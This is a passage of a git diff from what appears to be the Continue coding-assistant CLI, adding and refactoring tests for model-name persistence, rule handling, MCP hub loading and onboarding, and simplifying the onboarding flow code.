+ model: "claude-3-opus-20240229",
+ name: "Claude 3 Opus",
+ apiKey: "test-key",
+ roles: ["chat"],
+ } as ModelConfig,
+ ],
+ } as AssistantUnrolled;
+
+ mockAuthConfig = {
+ userId: "test-user",
+ userEmail: "test@example.com",
+ accessToken: "test-token",
+ refreshToken: "test-refresh",
+ expiresAt: Date.now() + 3600000, // 1 hour from now
+ organizationId: "test-org",
+ modelName: "GPT-4",
+ };
+
+ // Setup default mock behavior
+ vi.mocked(config.getLlmApi).mockReturnValue([
+ mockLlmApi as any,
+ mockAssistant.models![0] as ModelConfig,
+ ]);
+ vi.mocked(config.createLlmApi).mockReturnValue(mockLlmApi as any);
+ });
+
+ afterEach(() => {
+ // Cleanup
+ if (fs.existsSync(testDir)) {
+ fs.rmSync(testDir, { recursive: true });
+ }
+ if (originalContinueHome) {
+ process.env.CONTINUE_GLOBAL_DIR = originalContinueHome;
+ } else {
+ delete process.env.CONTINUE_GLOBAL_DIR;
+ }
+ });
+
+ test("should persist model choice exactly as user experiences it", async () => {
+ console.log("\n=== SESSION 1: User opens cn and switches model ===");
+
+ // Session 1: User starts CLI
+ // Save initial auth config (what happens after login)
+ saveAuthConfig(mockAuthConfig);
+ console.log("1. Initial auth.json saved");
+
+ // Initialize ModelService (what happens on CLI start)
+ const modelService = new ModelService();
+ const state = await modelService.initialize(mockAssistant, mockAuthConfig);
+ console.log("2. Initial model:", state.model?.name);
+ expect(state.model?.name).toBe("GPT-4");
+
+ // User switches to Claude 3.5 Sonnet via UI
+ await modelService.switchModel(1);
+ const modelInfo = modelService.getModelInfo();
+ console.log("3. User switched to:", modelInfo?.name);
+ expect(modelInfo?.name).toBe("Claude 3.5 Sonnet");
+
+ // useModelSelector calls updateModelName
+ const { updateModelName } = await import("../auth/workos.js");
+ const updatedAuthConfig = updateModelName("Claude 3.5 Sonnet");
+ console.log("4. Model name persisted to disk");
+
+ // Verify it was saved
+ const savedConfig = loadAuthConfig();
+ console.log("5. Read back from disk:", getModelName(savedConfig));
+ expect(getModelName(savedConfig)).toBe("Claude 3.5 Sonnet");
+
+ // User closes CLI
+ console.log("6. User exits CLI\n");
+
+ console.log("=== SESSION 2: User reopens cn ===");
+
+ // Session 2: User restarts CLI
+ // Initialize AuthService (loads from disk)
+ const authService = new AuthService();
+ const authState = await authService.initialize();
+ console.log(
+ "7. AuthService loaded, modelName in auth:",
+ getModelName(authState.authConfig),
+ );
+
+ // Initialize ModelService with fresh auth state
+ const newModelService = new ModelService();
+ const newState = await newModelService.initialize(
+ mockAssistant,
+ authState.authConfig,
+ );
+ console.log(
+ "8. ModelService initialized with model:",
+ newState.model?.name,
+ );
+
+ // EXPECTATION: Should restore Claude 3.5 Sonnet
+ expect(newState.model?.name).toBe("Claude 3.5 Sonnet");
+ expect(newState.model?.provider).toBe("anthropic");
+ console.log("✅ Model persisted correctly!\n");
+ });
+});
diff --git a/extensions/cli/src/integration/model-persistence.test.ts b/extensions/cli/src/integration/model-persistence.test.ts
new file mode 100644
index 000000000..9e352143d
--- /dev/null
+++ b/extensions/cli/src/integration/model-persistence.test.ts
@@ -0,0 +1,194 @@
+import * as fs from "fs";
+import * as os from "os";
+import * as path from "path";
+
+import { afterEach, beforeEach, describe, expect, test } from "vitest";
+
+import {
+ AuthenticatedConfig,
+ getModelName,
+ loadAuthConfig,
+ saveAuthConfig,
+ updateModelName,
+} from "../auth/workos.js";
+import { persistModelName } from "../util/modelPersistence.js";
+
+describe("Model Persistence Integration", () => {
+ let testDir: string;
+ let originalContinueHome: string | undefined;
+
+ beforeEach(() => {
+ // Create a temporary directory for testing
+ testDir = fs.mkdtempSync(path.join(os.tmpdir(), "continue-test-"));
+ originalContinueHome = process.env.CONTINUE_GLOBAL_DIR;
+ process.env.CONTINUE_GLOBAL_DIR = testDir;
+
+ // Clear GlobalContext for clean test state
+ persistModelName(null);
+ });
+
+ afterEach(() => {
+ // Cleanup
+ if (fs.existsSync(testDir)) {
+ fs.rmSync(testDir, { recursive: true });
+ }
+ if (originalContinueHome) {
+ process.env.CONTINUE_GLOBAL_DIR = originalContinueHome;
+ } else {
+ delete process.env.CONTINUE_GLOBAL_DIR;
+ }
+ });
+
+ test("should persist model name when user selects a model", () => {
+ // Create initial auth config without model name
+ const authConfig: AuthenticatedConfig = {
+ userId: "test-user",
+ userEmail: "test@example.com",
+ accessToken: "test-token",
+ refreshToken: "test-refresh",
+ expiresAt: Date.now() + 3600000,
+ organizationId: "test-org",
+ };
+
+ saveAuthConfig(authConfig);
+
+ // User selects a model
+ updateModelName("Claude 3.5 Sonnet");
+
+ // Load config and verify model name is persisted
+ const loadedConfig = loadAuthConfig();
+ expect(getModelName(loadedConfig)).toBe("Claude 3.5 Sonnet");
+ });
+
+ test("should update model name when user switches models", () => {
+ // Create initial auth config with a model
+ const authConfig: AuthenticatedConfig = {
+ userId: "test-user",
+ userEmail: "test@example.com",
+ accessToken: "test-token",
+ refreshToken: "test-refresh",
+ expiresAt: Date.now() + 3600000,
+ organizationId: "test-org",
+ modelName: "GPT-4",
+ };
+
+ saveAuthConfig(authConfig);
+
+ // User switches to a different model
+ updateModelName("Claude 3.5 Sonnet");
+
+ // Load config and verify new model name
+ const loadedConfig = loadAuthConfig();
+ expect(getModelName(loadedConfig)).toBe("Claude 3.5 Sonnet");
+ });
+
+ test("should preserve other auth config fields when updating model", () => {
+ // Create initial auth config
+ const authConfig: AuthenticatedConfig = {
+ userId: "test-user",
+ userEmail: "test@example.com",
+ accessToken: "test-token",
+ refreshToken: "test-refresh",
+ expiresAt: Date.now() + 3600000,
+ organizationId: "test-org",
+ configUri: "slug://owner/my-config",
+ };
+
+ saveAuthConfig(authConfig);
+
+ // Update model name
+ updateModelName("Claude 3.5 Sonnet");
+
+ // Load config and verify all fields are preserved
+ const loadedConfig = loadAuthConfig();
+ expect(loadedConfig).toMatchObject({
+ userId: "test-user",
+ userEmail: "test@example.com",
+ organizationId: "test-org",
+ configUri: "slug://owner/my-config",
+ modelName: "Claude 3.5 Sonnet",
+ });
+ });
+
+ test("should clear model name when set to null", () => {
+ // Create initial auth config with a model
+ const authConfig: AuthenticatedConfig = {
+ userId: "test-user",
+ userEmail: "test@example.com",
+ accessToken: "test-token",
+ refreshToken: "test-refresh",
+ expiresAt: Date.now() + 3600000,
+ organizationId: "test-org",
+ modelName: "GPT-4",
+ };
+
+ saveAuthConfig(authConfig);
+
+ // Clear model name
+ updateModelName(null);
+
+ // Load config and verify model name is cleared
+ const loadedConfig = loadAuthConfig();
+ expect(getModelName(loadedConfig)).toBeNull();
+ });
+
+ test("should return null for model name when not authenticated and no GlobalContext", () => {
+ // No auth config exists and no GlobalContext model
+ persistModelName(null); // Ensure GlobalContext is clear
+ const loadedConfig = loadAuthConfig();
+ expect(getModelName(loadedConfig)).toBeNull();
+ });
+
+ test("should not persist model name when using CONTINUE_API_KEY", () => {
+ // Clear GlobalContext first
+ persistModelName(null);
+
+ // Capture original value to restore after test
+ const originalApiKey = process.env.CONTINUE_API_KEY;
+ // Set environment variable
+ process.env.CONTINUE_API_KEY = "test-api-key";
+
+ // Try to update model name
+ updateModelName("Claude 3.5 Sonnet");
+
+ // Load config - should be environment auth config without model name
+ const loadedConfig = loadAuthConfig();
+ expect(getModelName(loadedConfig)).toBeNull();
+
+ // Restore original value
+ if (originalApiKey === undefined) {
+ delete process.env.CONTINUE_API_KEY;
+ } else {
+ process.env.CONTINUE_API_KEY = originalApiKey;
+ }
+ });
+
+ test("should persist model name in auth.json file with correct format", () => {
+ // Create and save auth config
+ const authConfig: AuthenticatedConfig = {
+ userId: "test-user",
+ userEmail: "test@example.com",
+ accessToken: "test-token",
+ refreshToken: "test-refresh",
+ expiresAt: Date.now() + 3600000,
+ organizationId: "test-org",
+ };
+
+ saveAuthConfig(authConfig);
+ updateModelName("Claude 3.5 Sonnet");
+
+ // Read the raw file content
+ const authPath = path.join(testDir, "auth.json");
+ const rawContent = fs.readFileSync(authPath, "utf8");
+ const parsedContent = JSON.parse(rawContent);
+
+ // Verify the file structure
+ expect(parsedContent).toHaveProperty("userId", "test-user");
+ expect(parsedContent).toHaveProperty("userEmail", "test@example.com");
+ expect(parsedContent).toHaveProperty("organizationId", "test-org");
+ expect(parsedContent).toHaveProperty("modelName", "Claude 3.5 Sonnet");
+
+ // Verify it's pretty-printed (has indentation)
+ expect(rawContent).toContain("\n ");
+ });
+});
diff --git a/extensions/cli/src/integration/rule-duplication.test.ts b/extensions/cli/src/integration/rule-duplication.test.ts
index e68a3eff9..3a713170d 100644
--- a/extensions/cli/src/integration/rule-duplication.test.ts
+++ b/extensions/cli/src/integration/rule-duplication.test.ts
@@ -1,107 +1,130 @@
-import { AssistantUnrolled } from "@continuedev/config-yaml";
-import { describe, expect, it, vi } from "vitest";
+import { decodePackageIdentifier } from "@continuedev/config-yaml";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+
+import { isStringRule } from "src/hubLoader.js";
import { BaseCommandOptions } from "../commands/BaseCommandOptions.js";
-import { ConfigEnhancer } from "../configEnhancer.js";
+import { ConfigService } from "../services/ConfigService.js";
-// Mock the processRule function to avoid network calls
-vi.mock("../hubLoader.js", () => ({
- processRule: vi.fn((rule: string) => {
- // Simulate hub slug loading - return content for hub slugs
- if (rule.includes("/") && !rule.startsWith(".") && !rule.startsWith("/")) {
- return Promise.resolve(`Content for ${rule}`);
- }
- // Return as-is for direct content
- return Promise.resolve(rule);
- }),
- loadPackagesFromHub: vi.fn(() => Promise.resolve([])),
- mcpProcessor: {},
- modelProcessor: {},
+// Mock the required functions - need to match the import path used by ConfigService
+vi.mock("src/hubLoader.js", () => ({
+ isStringRule: vi.fn(),
+}));
+
+vi.mock("@continuedev/config-yaml", async (importOriginal) => ({
+ ...(await importOriginal()),
+ decodePackageIdentifier: vi.fn((id) => ({
+ type: "slug" as const,
+ slug: id,
+ version: undefined,
+ })),
+}));
+
+vi.mock("../configLoader.js", () => ({
+ loadConfiguration: vi.fn(),
+}));
+
+vi.mock("../auth/workos.js", () => ({
+ loadAuthConfig: vi.fn(),
+}));
+
+vi.mock("../util/logger.js", () => ({
+ logger: {
+ debug: vi.fn(),
+ warn: vi.fn(),
+ },
}));
describe("Rule duplication integration test", () => {
- it("should not duplicate rules when using --rule flag", async () => {
- const enhancer = new ConfigEnhancer();
+ let configService: ConfigService;
- // Initial config without any rules
- const initialConfig: AssistantUnrolled = {
- name: "Test Assistant",
- rules: [],
- } as any;
+ beforeEach(() => {
+ vi.clearAllMocks();
+ configService = new ConfigService();
+
+ // Reset mocks to their default behavior
+ vi.mocked(decodePackageIdentifier).mockImplementation((id) => ({
+ uriType: "slug",
+ fullSlug: {
+ ownerSlug: "owner",
+ packageSlug: "package",
+ versionSlug: "version",
+ },
+ }));
+
+ // Reset isStringRule mock
+ vi.mocked(isStringRule).mockImplementation((rule: string) => {
+ // Default implementation - string rules contain spaces/newlines or are local paths
+ return (
+ rule.includes(" ") ||
+ rule.includes("\n") ||
+ rule.startsWith(".") ||
+ rule.startsWith("/") ||
+ !rule.includes("/")
+ );
+ });
+ });
+
+ it("should not duplicate rules when using --rule flag", () => {
+ // Setup mocks
+ vi.mocked(isStringRule).mockReturnValue(false); // "nate/spanish" is a package identifier
// Simulate command-line options with --rule flag
const options: BaseCommandOptions = {
rule: ["nate/spanish"],
};
- // Enhance config with command-line rules
- const enhancedConfig = await enhancer.enhanceConfig(initialConfig, options);
+ // Process the options through the config service
+ const { injected, additional } =
+ configService.getAdditionalBlocksFromOptions(options, undefined);
- // Verify the rule was added exactly once as a RuleObject
- expect(enhancedConfig.rules).toHaveLength(1);
- expect(enhancedConfig.rules).toEqual([
- { name: "nate/spanish", rule: "Content for nate/spanish" },
- ]);
+ // The rule should be processed as a package identifier
+ expect(vi.mocked(decodePackageIdentifier)).toHaveBeenCalledWith(
+ "nate/spanish",
+ );
+ expect(injected).toHaveLength(1);
+ expect(additional.rules).toHaveLength(0); // Package identifier rules go into injected
});
- it("should merge command-line rules with existing config rules", async () => {
- const enhancer = new ConfigEnhancer();
-
- // Initial config with existing rules
- const initialConfig: AssistantUnrolled = {
- name: "Test Assistant",
- rules: ["existing-rule"],
- } as any;
+ it("should merge command-line rules with existing config rules", () => {
+ // Setup mocks for different rule types
+ vi.mocked(isStringRule)
+ .mockReturnValueOnce(false) // "nate/spanish" is a package identifier
+ .mockReturnValueOnce(true); // "direct-rule" is a string rule
// Simulate command-line options with --rule flag
const options: BaseCommandOptions = {
rule: ["nate/spanish", "direct-rule"],
};
- // Enhance config with command-line rules
- const enhancedConfig = await enhancer.enhanceConfig(initialConfig, options);
+ // Process the options through the config service
+ const { injected, additional } =
+ configService.getAdditionalBlocksFromOptions(options, undefined);
- // Verify all rules are present without duplication
- expect(enhancedConfig.rules).toHaveLength(3);
- expect(enhancedConfig.rules).toEqual([
- "existing-rule",
- { name: "nate/spanish", rule: "Content for nate/spanish" },
- "direct-rule",
- ]);
+ // "nate/spanish" should be a package identifier, "direct-rule" should be a string rule
+ expect(vi.mocked(decodePackageIdentifier)).toHaveBeenCalledWith(
+ "nate/spanish",
+ );
+ expect(injected).toHaveLength(1); // nate/spanish
+ expect(additional.rules).toEqual(["direct-rule"]); // direct-rule as string
});
- it("should handle rule content with frontmatter", async () => {
- const enhancer = new ConfigEnhancer();
-
- // Mock processRule to return content with frontmatter
- const { processRule } = await import("../hubLoader.js");
- (processRule as any).mockImplementation((rule: string) => {
- if (rule === "nate/spanish") {
- return Promise.resolve(`---
-alwaysApply: true
----
-
-Always respond in Spanish.`);
- }
- return Promise.resolve(rule);
- });
-
- const initialConfig: AssistantUnrolled = {
- name: "Test Assistant",
- rules: [],
- } as any;
+ it("should process package identifiers for hub rules", () => {
+ // Setup mock - all rules are package identifiers
+ vi.mocked(isStringRule).mockReturnValue(false);
const options: BaseCommandOptions = {
rule: ["nate/spanish"],
};
- const enhancedConfig = await enhancer.enhanceConfig(initialConfig, options);
+ const { injected, additional } =
+ configService.getAdditionalBlocksFromOptions(options, undefined);
- // Hub rules should be stored as RuleObject with name and content
- expect(enhancedConfig.rules).toHaveLength(1);
- const ruleObj = enhancedConfig.rules?.[0] as any;
- expect(ruleObj.name).toBe("nate/spanish");
- expect(ruleObj.rule).toContain("Always respond in Spanish.");
- expect(ruleObj.rule).toContain("alwaysApply: true");
+ // Hub rules should be processed as package identifiers, not string rules
+ expect(vi.mocked(decodePackageIdentifier)).toHaveBeenCalledWith(
+ "nate/spanish",
+ );
+ expect(injected).toHaveLength(1);
+ expect(additional.rules).toHaveLength(0); // Package identifier rules don't go into additional.rules
});
});
diff --git a/extensions/cli/src/loadMcpFromHub.test.ts b/extensions/cli/src/loadMcpFromHub.test.ts
index 92dd69cf8..cbd49a53a 100644
--- a/extensions/cli/src/loadMcpFromHub.test.ts
+++ b/extensions/cli/src/loadMcpFromHub.test.ts
@@ -1,6 +1,6 @@
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
-import { loadMcpFromHub } from "./args.js";
+import { loadMcpFromHub } from "./hubLoader.js";
// Store original fetch to restore later
const originalFetch = global.fetch;
diff --git a/extensions/cli/src/mcp-flag.integration.test.ts b/extensions/cli/src/mcp-flag.integration.test.ts
index a040c45b4..863e1ea32 100644
--- a/extensions/cli/src/mcp-flag.integration.test.ts
+++ b/extensions/cli/src/mcp-flag.integration.test.ts
@@ -1,6 +1,6 @@
import { beforeEach, describe, expect, it, vi } from "vitest";
-import { parseArgs, loadMcpFromHub } from "./args.js";
+import { loadMcpFromHub } from "./hubLoader.js";
// Integration test to demonstrate the --mcp flag functionality
describe("--mcp flag integration", () => {
@@ -10,35 +10,6 @@ describe("--mcp flag integration", () => {
vi.clearAllMocks();
});
- it("should demonstrate the complete --mcp flag functionality", () => {
- // Test command line parsing
- process.argv = [
- "node",
- "test",
- "--config",
- "my-config.yaml",
- "--mcp",
- "continuedev/filesystem",
- "--mcp",
- "continuedev/github",
- "hello world",
- ];
-
- const args = parseArgs();
-
- // Verify the parsed command line arguments
- expect(args).toEqual({
- configPath: "my-config.yaml",
- mcps: ["continuedev/filesystem", "continuedev/github"],
- prompt: "hello world",
- });
-
- // Verify MCP slugs are properly captured
- expect(args.mcps).toHaveLength(2);
- expect(args.mcps).toContain("continuedev/filesystem");
- expect(args.mcps).toContain("continuedev/github");
- });
-
it("should validate MCP slug format", async () => {
// Test that invalid slug formats are rejected
await expect(loadMcpFromHub("invalid-slug")).rejects.toThrow(
@@ -58,35 +29,4 @@ describe("--mcp flag integration", () => {
'Failed to load mcp from hub "valid/slug": HTTP 404: Not Found',
);
});
-
- it("should demonstrate MCP flag with other command line options", () => {
- process.argv = [
- "node",
- "test",
- "--config",
- "test-config.yaml",
- "--org",
- "my-org",
- "--rule",
- "my-rule",
- "--mcp",
- "continuedev/filesystem",
- "--allow",
- "readFile",
- "--readonly",
- "analyze this code",
- ];
-
- const args = parseArgs();
-
- // Verify all flags are parsed correctly together
- expect(args).toEqual({
- configPath: "test-config.yaml",
- organizationSlug: "my-org",
- rules: ["my-rule"],
- mcps: ["continuedev/filesystem"],
- readonly: true,
- prompt: "analyze this code",
- });
- });
});
diff --git a/extensions/cli/src/onboarding.test.ts b/extensions/cli/src/onboarding.test.ts
index c31bc1608..036d56097 100644
--- a/extensions/cli/src/onboarding.test.ts
+++ b/extensions/cli/src/onboarding.test.ts
@@ -2,10 +2,10 @@ import * as fs from "fs";
import * as os from "os";
import * as path from "path";
-import { describe, expect, test, beforeEach, afterEach } from "vitest";
+import { afterEach, beforeEach, describe, expect, test, vi } from "vitest";
import type { AuthConfig } from "./auth/workos.js";
-import { runNormalFlow } from "./onboarding.js";
+import { initializeWithOnboarding } from "./onboarding.js";
describe("onboarding config flag handling", () => {
let tempDir: string;
@@ -40,7 +40,9 @@ describe("onboarding config flag handling", () => {
expect(fs.existsSync(configPath)).toBe(false);
// Should throw an error that mentions both the path and the failure
- await expect(runNormalFlow(mockAuthConfig, configPath)).rejects.toThrow(
+ await expect(
+ initializeWithOnboarding(mockAuthConfig, configPath),
+ ).rejects.toThrow(
/Failed to load config from ".*non-existent\.yaml": .*ENOENT/,
);
});
@@ -64,9 +66,9 @@ models:
expect(fs.existsSync(configPath)).toBe(true);
// Should throw an error mentioning the path and failure to load
- await expect(runNormalFlow(mockAuthConfig, configPath)).rejects.toThrow(
- /Failed to load config from ".*malformed\.yaml": .+/,
- );
+ await expect(
+ initializeWithOnboarding(mockAuthConfig, configPath),
+ ).rejects.toThrow(/Failed to load config from ".*malformed\.yaml": .+/);
});
test("should fail loudly when --config points to file with missing required fields", async () => {
@@ -85,9 +87,9 @@ name: "Incomplete Config"
expect(fs.existsSync(configPath)).toBe(true);
// Should throw with our specific error format and include path
- await expect(runNormalFlow(mockAuthConfig, configPath)).rejects.toThrow(
- /^Failed to load config from ".*": .+/,
- );
+ await expect(
+ initializeWithOnboarding(mockAuthConfig, configPath),
+ ).rejects.toThrow(/^Failed to load config from ".*": .+/);
});
test("should handle different config path formats with proper error messages", async () => {
@@ -99,16 +101,15 @@ name: "Incomplete Config"
];
for (const configPath of testPaths) {
- await expect(runNormalFlow(mockAuthConfig, configPath)).rejects.toThrow(
- /Failed to load config from ".*": .+/,
- );
+ await expect(
+ initializeWithOnboarding(mockAuthConfig, configPath),
+ ).rejects.toThrow(/Failed to load config from ".*": .+/);
}
});
test("should handle empty string config path", async () => {
- // Empty string should be treated differently from undefined
- // Note: empty string triggers onboarding flow, but should still fail in our error format
- await expect(runNormalFlow(mockAuthConfig, "")).rejects.toThrow();
+ // Loads default agent with no error
+ await initializeWithOnboarding(mockAuthConfig, "");
});
test("should not fall back to default config when explicit config fails", async () => {
@@ -117,7 +118,7 @@ name: "Incomplete Config"
// Create a bad config file
fs.writeFileSync(configPath, "invalid: yaml: content: [");
- const promise = runNormalFlow(mockAuthConfig, configPath);
+ const promise = initializeWithOnboarding(mockAuthConfig, configPath);
await expect(promise).rejects.toThrow();
@@ -144,13 +145,13 @@ name: "Incomplete Config"
fs.writeFileSync(badConfigPath, "invalid yaml [");
// Case 1: Explicit --config that fails should throw our specific error
- await expect(runNormalFlow(mockAuthConfig, badConfigPath)).rejects.toThrow(
- /^Failed to load config from "/,
- );
+ await expect(
+ initializeWithOnboarding(mockAuthConfig, badConfigPath),
+ ).rejects.toThrow(/^Failed to load config from "/);
// Case 2: No explicit config should follow different logic
try {
- await runNormalFlow(mockAuthConfig, undefined);
+ await initializeWithOnboarding(mockAuthConfig, undefined);
// If it succeeds, that's fine - the point is it's different behavior
} catch (error) {
const errorMessage =
@@ -160,3 +161,93 @@ name: "Incomplete Config"
}
});
});
+
+// Separate describe block with its own mocking for BEDROCK tests
+describe("CONTINUE_USE_BEDROCK environment variable", () => {
+ const mockConsoleLog = vi.fn();
+ let mockAuthConfig: AuthConfig;
+ const originalEnv = process.env.CONTINUE_USE_BEDROCK;
+
+ // Mock initialize for these tests only
+ const mockInitialize = vi.fn().mockResolvedValue({
+ config: { name: "test-config", models: [], rules: [] },
+ llmApi: {},
+ model: { name: "test-model" },
+ mcpService: {},
+ apiClient: {},
+ });
+
+ beforeEach(() => {
+ mockConsoleLog.mockClear();
+ mockInitialize.mockClear();
+
+ // Spy on console.log for these tests
+ vi.spyOn(console, "log").mockImplementation(mockConsoleLog);
+
+ // Mock the config module
+ vi.doMock("./config.js", () => ({ initialize: mockInitialize }));
+
+ mockAuthConfig = {
+ userId: "test-user",
+ userEmail: "test@example.com",
+ accessToken: "test-token",
+ refreshToken: "test-refresh",
+ expiresAt: Date.now() + 3600000,
+ organizationId: "test-org",
+ };
+ });
+
+ afterEach(() => {
+ if (originalEnv) {
+ process.env.CONTINUE_USE_BEDROCK = originalEnv;
+ } else {
+ delete process.env.CONTINUE_USE_BEDROCK;
+ }
+ vi.restoreAllMocks();
+ vi.doUnmock("./config.js");
+ });
+
+ test("should bypass interactive options when CONTINUE_USE_BEDROCK=1", async () => {
+ process.env.CONTINUE_USE_BEDROCK = "1";
+
+ // Re-import to get the mocked version
+ vi.resetModules();
+ const { runOnboardingFlow } = await import("./onboarding.js");
+
+ const result = await runOnboardingFlow(undefined);
+
+ expect(result).toBe(true);
+ expect(mockConsoleLog).toHaveBeenCalledWith(
+ expect.stringContaining(
+ "✓ Using AWS Bedrock (CONTINUE_USE_BEDROCK detected)",
+ ),
+ );
+ });
+
+ test("should not bypass when CONTINUE_USE_BEDROCK is not '1'", async () => {
+ process.env.CONTINUE_USE_BEDROCK = "0";
+
+ // Re-import to get the mocked version
+ vi.resetModules();
+ const { runOnboardingFlow } = await import("./onboarding.js");
+
+ // Mock non-interactive environment to avoid hanging
+ const originalIsTTY = process.stdin.isTTY;
+ process.stdin.isTTY = false;
+
+ try {
+ await runOnboardingFlow(undefined);
+
+ // Verify the Bedrock message was NOT called by checking all calls
+ const allCalls = mockConsoleLog.mock.calls.flat();
+ const hasBedrockMessage = allCalls.some((call) =>
+ String(call).includes(
+ "✓ Using AWS Bedrock (CONTINUE_USE_BEDROCK detected)",
+ ),
+ );
+ expect(hasBedrockMessage).toBe(false);
+ } finally {
+ process.stdin.isTTY = originalIsTTY;
+ }
+ });
+});
diff --git a/extensions/cli/src/onboarding.ts b/extensions/cli/src/onboarding.ts
index 6d8e2b99f..2a8162284 100644
--- a/extensions/cli/src/onboarding.ts
+++ b/extensions/cli/src/onboarding.ts
@@ -1,34 +1,22 @@
import * as fs from "fs";
import * as path from "path";
-import { AssistantUnrolled, ModelConfig } from "@continuedev/config-yaml";
-import { BaseLlmApi } from "@continuedev/openai-adapters";
-import { DefaultApiInterface } from "@continuedev/sdk/dist/api/dist/index.js";
import chalk from "chalk";
-import * as readlineSync from "readline-sync";
+import { setConfigFilePermissions } from "core/util/paths.js";
-import { processPromptOrRule } from "./args.js";
-import { AuthConfig, isAuthenticated, login } from "./auth/workos.js";
-import { initialize } from "./config.js";
+import { AuthConfig, login } from "./auth/workos.js";
+import { getApiClient } from "./config.js";
+import { loadConfiguration } from "./configLoader.js";
import { env } from "./env.js";
-import { MCPService } from "./services/MCPService.js";
import {
getApiKeyValidationError,
isValidAnthropicApiKey,
} from "./util/apiKeyValidation.js";
+import { question, questionWithChoices } from "./util/prompt.js";
import { updateAnthropicModelInYaml } from "./util/yamlConfigUpdater.js";
const CONFIG_PATH = path.join(env.continueHome, "config.yaml");
-export interface OnboardingResult {
- config: AssistantUnrolled;
- llmApi: BaseLlmApi;
- model: ModelConfig;
- mcpService: MCPService;
- apiClient: DefaultApiInterface;
- wasOnboarded: boolean;
-}
-
export async function checkHasAcceptableModel(
configPath: string,
): Promise {
@@ -57,19 +45,26 @@ export async function createOrUpdateConfig(apiKey: string): Promise {
const updatedContent = updateAnthropicModelInYaml(existingContent, apiKey);
fs.writeFileSync(CONFIG_PATH, updatedContent);
+ setConfigFilePermissions(CONFIG_PATH);
}
-async function runOnboardingFlow(
+export async function runOnboardingFlow(
configPath: string | undefined,
- authConfig: AuthConfig,
-): Promise {
+): Promise {
// Step 1: Check if --config flag is provided
if (configPath !== undefined) {
- const result = await initialize(authConfig, configPath);
- return { ...result, wasOnboarded: false };
+ return false;
}
- // Step 2: Check if we're in a test/CI environment - if so, skip interactive prompts
+ // Step 2: Check for CONTINUE_USE_BEDROCK environment variable first (before test env check)
+ if (process.env.CONTINUE_USE_BEDROCK === "1") {
+ console.log(
+ chalk.blue("✓ Using AWS Bedrock (CONTINUE_USE_BEDROCK detected)"),
+ );
+ return true;
+ }
+
+ // Step 3: Check if we're in a test/CI environment - if so, skip interactive prompts
const isTestEnv =
process.env.NODE_ENV === "test" ||
process.env.CI === "true" ||
@@ -83,39 +78,31 @@ async function runOnboardingFlow(
console.log(chalk.blue("✓ Using ANTHROPIC_API_KEY from environment"));
await createOrUpdateConfig(process.env.ANTHROPIC_API_KEY);
console.log(chalk.gray(` Config saved to: ${CONFIG_PATH}`));
- const result = await initialize(authConfig, CONFIG_PATH);
- return { ...result, wasOnboarded: false };
+ return false;
}
// Otherwise return a minimal working configuration
- const result = await initialize(authConfig, undefined);
- return { ...result, wasOnboarded: false };
+ return false;
}
- // Step 3: Present user with two options
+ // Step 4: Present user with two options
console.log(chalk.yellow("How do you want to get started?"));
console.log(chalk.white("1. ⏩ Log in with Continue"));
console.log(chalk.white("2. 🔑 Enter your Anthropic API key"));
- const choice = readlineSync.question(chalk.yellow("\nEnter choice (1): "), {
- limit: ["1", "2", ""],
- limitMessage: chalk.dim("Please enter 1 or 2"),
- });
+ const choice = await questionWithChoices(
+ chalk.yellow("\nEnter choice (1): "),
+ ["1", "2", ""],
+ "1",
+ chalk.dim("Please enter 1 or 2"),
+ );
if (choice === "1" || choice === "") {
- const newAuthConfig = await login();
-
- const { ensureOrganization } = await import("./auth/workos.js");
- const finalAuthConfig = await ensureOrganization(newAuthConfig);
-
- const result = await initialize(finalAuthConfig, undefined);
- return { ...result, wasOnboarded: true };
+ await login();
+ return true;
} else if (choice === "2") {
- const apiKey = readlineSync.question(
+ const apiKey = await question(
chalk.white("\nEnter your Anthropic API key: "),
- {
- hideEchoBack: true,
- },
);
if (!isValidAnthropicApiKey(apiKey)) {
@@ -127,89 +114,12 @@ async function runOnboardingFlow(
chalk.green(`✓ Config file updated successfully at ${CONFIG_PATH}`),
);
- const result = await initialize(authConfig, CONFIG_PATH);
- return { ...result, wasOnboarded: true };
+ return true;
} else {
- throw new Error("Invalid choice. Please select 1 or 2.");
+ throw new Error(`Invalid choice. Please select "1" or "2"`);
}
}
-export async function runNormalFlow(
- authConfig: AuthConfig,
- configPath?: string,
- rules?: string[],
-): Promise {
- // Step 1: Check if --config flag is provided
- if (configPath !== undefined) {
- // Empty string is invalid and should be treated as an error
- if (configPath === "") {
- throw new Error(
- `Failed to load config from "": Config path cannot be empty`,
- );
- }
-
- try {
- const result = await initialize(authConfig, configPath);
- // Inject rules into the config if provided
- if (rules && rules.length > 0) {
- result.config = await injectRulesIntoConfig(result.config, rules);
- }
- return { ...result, wasOnboarded: false };
- } catch (error) {
- // If user explicitly provided --config flag, fail loudly instead of falling back
- const errorMessage =
- error instanceof Error ? error.message : String(error);
- throw new Error(
- `Failed to load config from "${configPath}": ${errorMessage}`,
- );
- }
- }
-
- // Step 2: If user is logged in, look for first assistant in selected org
- if (isAuthenticated()) {
- try {
- const result = await initialize(authConfig, undefined);
- // Inject rules into the config if provided
- if (rules && rules.length > 0) {
- result.config = await injectRulesIntoConfig(result.config, rules);
- }
- return { ...result, wasOnboarded: false };
- } catch {
- // Silently ignore errors when loading default assistant
- }
- }
-
- // Step 3: Look for local ~/.continue/config.yaml
- if (fs.existsSync(CONFIG_PATH)) {
- try {
- const result = await initialize(authConfig, CONFIG_PATH);
- // Inject rules into the config if provided
- if (rules && rules.length > 0) {
- result.config = await injectRulesIntoConfig(result.config, rules);
- }
- return { ...result, wasOnboarded: false };
- } catch {
- console.log(chalk.yellow("⚠ Invalid config file found"));
- }
- }
-
- // Step 4: Look for ANTHROPIC_API_KEY in environment
- if (process.env.ANTHROPIC_API_KEY) {
- console.log(chalk.blue("✓ Using ANTHROPIC_API_KEY from environment"));
- await createOrUpdateConfig(process.env.ANTHROPIC_API_KEY);
- console.log(chalk.gray(` Config saved to: ${CONFIG_PATH}`));
- const result = await initialize(authConfig, CONFIG_PATH);
- // Inject rules into the config if provided
- if (rules && rules.length > 0) {
- result.config = await injectRulesIntoConfig(result.config, rules);
- }
- return { ...result, wasOnboarded: false };
- }
-
- // Step 5: Fall back to onboarding flow
- return runOnboardingFlow(configPath, authConfig);
-}
-
export async function isFirstTime(): Promise {
return !fs.existsSync(path.join(env.continueHome, ".onboarding_complete"));
}
@@ -225,71 +135,33 @@ export async function markOnboardingComplete(): Promise {
